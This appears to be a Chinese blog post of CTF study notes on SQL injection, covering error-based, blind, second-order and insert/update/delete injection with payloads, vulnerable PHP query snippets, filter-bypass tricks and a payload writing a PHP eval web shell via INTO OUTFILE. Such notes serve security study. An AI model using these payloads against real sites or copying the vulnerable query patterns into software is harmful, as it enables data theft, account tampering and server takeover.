SQL注入

1. SQL 注入介绍

Web应用开发过程中,为了内容的快速更新,很多开发者使用数据库进行数据存储。而由于开发者在程序编写过程中,对传入用户数据的过滤不严格,将可能存在的攻击载荷拼接到SQL查询语句中,再将这些查询语句传递给后端的数据库执行,从而引发实际执行的语句与预期功能不一致的情况。这种攻击被称为SQL注入攻击。

2. 分类

2.1

可回显: UNION注入、报错注入
不可回显: Bool盲注、时间盲注
二次注入

2.2

数字类型
字符类型
搜索类型

3. 各种注入介绍

3.1 UNION注入

需要显示位,并且union之前SQL语句没有返回值,以便将显示位留给union注入。

3.2 报错注入

3.2.1 updatexml

原理: 本质上来说就是函数的报错。

payload:xxx.com?id=1' updatexml(1, concat(0x7e, (select database()), 0x7e),1) #

3.2.2 floor

原理: floor, count, rand和(order by 或 group by) 的冲突。利用数据库表主键不能重复的原理, 使用group by 分组,产生主键冗余,导致报错。

payload:
xxx.com?id=1' and (select count(*),1,concat( (select database()), floor(rand(0)*2))a from information_schema.tables group by a) # 

3.2.3 exp

原理: 溢出报错

payload:
xxx.com?id=1' and exp(~(select * from (select database())x)) #

3.3 Bool盲注

原理: Bool盲注通常是由于开发者将报错信息屏蔽而导致的,但是网页中真和假有着不同的回显,比如为真时返回access,为假时返回false;或者为真时返回正常页面,为假时跳转到错误界面等。

payload:
xxx.com?id=1' and 1234=1234 # 
xxx.com?id=1' and 1234=1233 #
xxx.com?id=1' and substr(select database(),1,1)='a' #

3.4 时间盲注

原理: 时间盲注出现的本质原因也是由于服务器端拼接了SQL语句,但是正确和错误存在同样的回显。错误信息被过滤,不过,可以通过页面响应时间及进行按位判断数据。
时间盲注类似于Bool盲注,只不过时在验证阶段有所不同。Bool盲注时根据页面回显的不同来判断的,而时间盲注是根据页面响应时间来判断结果的。一般来说,延迟的时间可以根据客户端与服务器端之间响应的时间来进行选择,选择一个合适的时间即可。一般来说,时间盲注的函数有sleep()和benchmark()两个。

3.4.1 sleep()

睡眠函数,可以使查询数据时回显数据的响应时间加长。

payload:
xxx.com?id=1 and if(substr(database(),1,1)='a', sleep(5))#

3.4.2 benchmark()

重复执行某个语句的函数。通常需要进行消耗时间和性能的计算,比如哈希计算函数MD5(), 将MD5函数重复执行数万次则可以达到延迟的效果。

payload:
xxx.com?id=1 and if(substr(database(),1,1)='1', benchmark(100000,md5(‘hacker’)))

3.5 二次注入

原理: 数据在第一次入库的时候进行了一些过滤及转义,这条数据从数据库中取出来会在SQL语句中进行拼接,而在这次拼接中没有进行过滤,因此能执行构造好的SQL语句。

例如:
用户输入的用户名 admin'or'1 经过转义变成了 admin\'or\'1 这样 SQL语句为:

insert into wp_user values(2,'admin\'or\'1','pwd');
idusernamepassword
1adminpassword
2admin’or’1pwd

数据正常入库,且转义只发生在入库之前,入库的数据为我们特意构造的原数据。此时,当该用户再次被使用时,会发生注入:

select password from wp_user where username = 'admin'or'1';

可见,结果会展示所有用户的密码。

4. 注入点

4.1 select 注入

4.1.1 注入点在 select_expr

PHP 中的 SQL 查询语句:

...
$res = mysqli_query($conn, "select ${_GET['id']}, content from wp_news");
...

payload:

xxx.com?id = (select pwd from wp_user) as title

如果注入点有反引号包裹,那么需要先闭合反引号。

4.1.2 注入点在 table_reference

PHP 中的 SQL 查询语句:

...
$res = mysqli_query($conn, "select title from ${_GET['table']}");
...

payload:

xxx.com?table = (select pwd  as title from wp_user)

如果注入点有反引号包裹,那么需要先闭合反引号。

4.1.3 注入点在 where 或 having 后

PHP 中的 SQL 查询语句:

...
$res = mysqli_query($conn, "select title from wp_news where id=${_GET['id']}");
$res = mysqli_query($conn, "select title from wp_news having id=${_GET['id']}");
...

payload:参考第三部分

4.1.4 注入点在 group by 或 order by 后

PHP 中的 SQL 查询语句:

...
$res = mysqli_query($conn, "select title from wp_news group by ${_GET['title']}");
...

payload:

xxx.com?table = id desc,(if(1,sleep(1),1)) -- 可以让页面延迟1秒,因此可以利用时间盲注

4.1.5 limit之后的注入

前提: MySQL版本号大于5.0.0且小于5.6.6。

PHP 中的 SQL 查询语句:

...
$res = mysqli_query($conn, "select title from wp_news limit ${_GET['num']}");
...

payload:

xxx.com?num = 1,1 procedure analyse(extractvalue(rand(), concat(0x7e, database(), 0x7e)),1)

4.2 insert 注入

假设数据库中 wp_user 表的格式为:

idsignusernamepassword
11adminpassword

其中 sign = 1 表示该用户为管理员,sign = 2 表示该用户为普通用户。

4.2.1 注入点在 table_name

PHP 中的 SQL 查询语句:

...
$res = mysqli_query($conn, "insert into ${_GET['table']} values(2,2,'a','a')");
...

payload:

xxx.com?table= wp_user values(2,'newadmin','newpass') -- 

此时,表为:

idsignusernamepassword
11adminpassword
22aa

4.2.2 注入点在 values

PHP 中的 SQL 查询语句:

...
$res = mysqli_query($conn, "insert into wp_user values(2,2,${_GET['user']},${_GET['pwd']})");
...

payload:

xxx.com?user = 'b' & pwd = 'b'),(3,1,'newadmin','newpass'

此时,表为:

idsignusernamepassword
11adminpassword
22bb
31newadminnewpass

4.3 update 注入

假设数据库中 wp_user 表为:

idsignusernamepassword
11adminpassword
22bb
31newadminnewpass

PHP 中的 SQL 查询语句:

...
$res = mysqli_query($conn, "update wp_user set id=${_GET['id']} where username='b'");
...

payload:

xxx.com?id = 3, password = 'c'

此时,表为:

idsignusernamepassword
11adminpassword
32bc
31newadminnewpass

4.4 delete 注入

delete 注入大多发生在 where 之后。

...
$res = mysqli_query($conn, "delete from wp_user where id=${_GET['id']}");
...

因为 delete 语句的作用是删除某个表的全部或指定行的数据。对 id 参数进行注入时,稍有不慎就会使 where 后的值为 True,导致整个 wp_news 的数据被删除。

为了保证不会对正常数据造成干扰,通常使用 'and sleep(1)' 的方式保证 where 后的结果返回为 False,让语句无法成功执行。

payload:

xxx.com?id = 1 and sleep(1)

4.5 HTTP中常见的注入点位置

  • GET
  • POST
  • User-Agent
  • Cookies

4.6 注入点是否存在

  • 插入单引号
  • 数字型判断 (and 1=1 或 ‘ and ‘1’=’1)
  • 通过数字的加减进行判断(id=2和id=1+1的结果是否相同)

5. 绕过

5.1 过滤关键字

  • 穿插关键字:selselectect
  • 大小写转换:SeLeCt
  • 十六进制:selec\x74
  • 双重URL编码

5.2 过滤空格

  • 通过注释绕过: # – // /**/ ;%00
  • 双重URL编码绕过:%2520
  • 空白字符绕过(十六进制):%
    • SQLite3:0A, 0D, 0C, 09, 20
    • MySQL5:09, 0A, 0B, 0C, 0D, A0, 20
    • PosgreSQL:0A, 0D, 0C, 09, 20
    • Oracle 11g:00, 0A, 0D, 0C, 09, 20
    • MSSQL:01-20, 0A-0F, 1A-1F
    • 换行符
  • 特殊符号:反引号(``)、加号(+)
  • 科学计数法:e1

5.3 过滤单引号

  • 绕过单引号过滤遇到最多的是魔术引号,也就是PHP配置文件php.ini中的magic_quote_gpc。当PHP版本号小于5.4时 (PHP5.3废弃魔术引号,PHP5.4移除),如果我们遇到的时GB2312、GBK等宽字节编码 (不是网页的编码),可以在注入点增加%df尝试进行宽字节注入 (如%df%27)。原理在于PHP发送请求到MySQL时字符集使用character_set_client设置值进行了一次编码,从而绕过了对单引号的过滤。
  • 开发者常会将用户的输入全局地做一次addslashes,也就是转义如单引号、反斜杠等字符,如 ‘ 变为 \’ 。开发者常常会用到形如urldecode、base64_decode的解码函数或者自定义的加解密函数。当用户输入addslashes函数时,数据处于编码状态,引号无法被转义,解码后如果直接进入SQL语句即可造成注入,同样的情况也发生在加密/解密、字符集转换的情况,如上述的宽字节。
  • 二次注入
  • 字符串截断。在标题、抬头等位置,开发者可能限定标题的字符不能超过10个字符,超过则会被截断。假设攻击者输入 aaaaaaaaa’ 自动转义为 aaaaaaaaa\’ 由于字符长度限制,被截取为 aaaaaaaaa\ 这样就可以转义预置的单引号。

6. SQL读写文件

以MySQL数据为例,在MySQL用户拥有File权限的情况下,可以使用load_file和into outfile/dumpfile进行读写。

pyload:
xxx.com?id=-1 union select load_file('etc/hosts')
xxx.com?id=-1 union select '<?php eval($_GET[hack]);?>' into outfile 'var/www/html/shell.php'
xxx.com?id=-1 union select unhex(一句话shell的十六进制) into dumpfile 'var/www/html/shell.php'

7. 危害

(1) 在有写文件权限的情况下,直接用INTO OUTFILE 或者 DUMPFILE 向Web目录写文件,或者写文件后结合文件包含漏洞达到代码执行的效果。

(2) 在有读文件权限的情况下,用 load_file()函数读取网站源码和配置信息,获取敏感数据。

(3) 提升权限,获得更高的用户权限或者管理员权限,绕过登录,添加用户,调整用户权限等,从而拥有更多的网站功能。

(4) 通过注入控制数据库查询出来的数据,控制如模板、缓存等文件的内容来获取权限,或者删除、读取某些关键文件。

(5) 在可以执行多语句的情况下,控制整个数据库,包括控制任意数据、任意字段长度等。

(6) 在SQLServer这类数据库中可以直接执行系统命令。

References:

《从0到1 CTFer成长之路》
《CTF特训营》

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值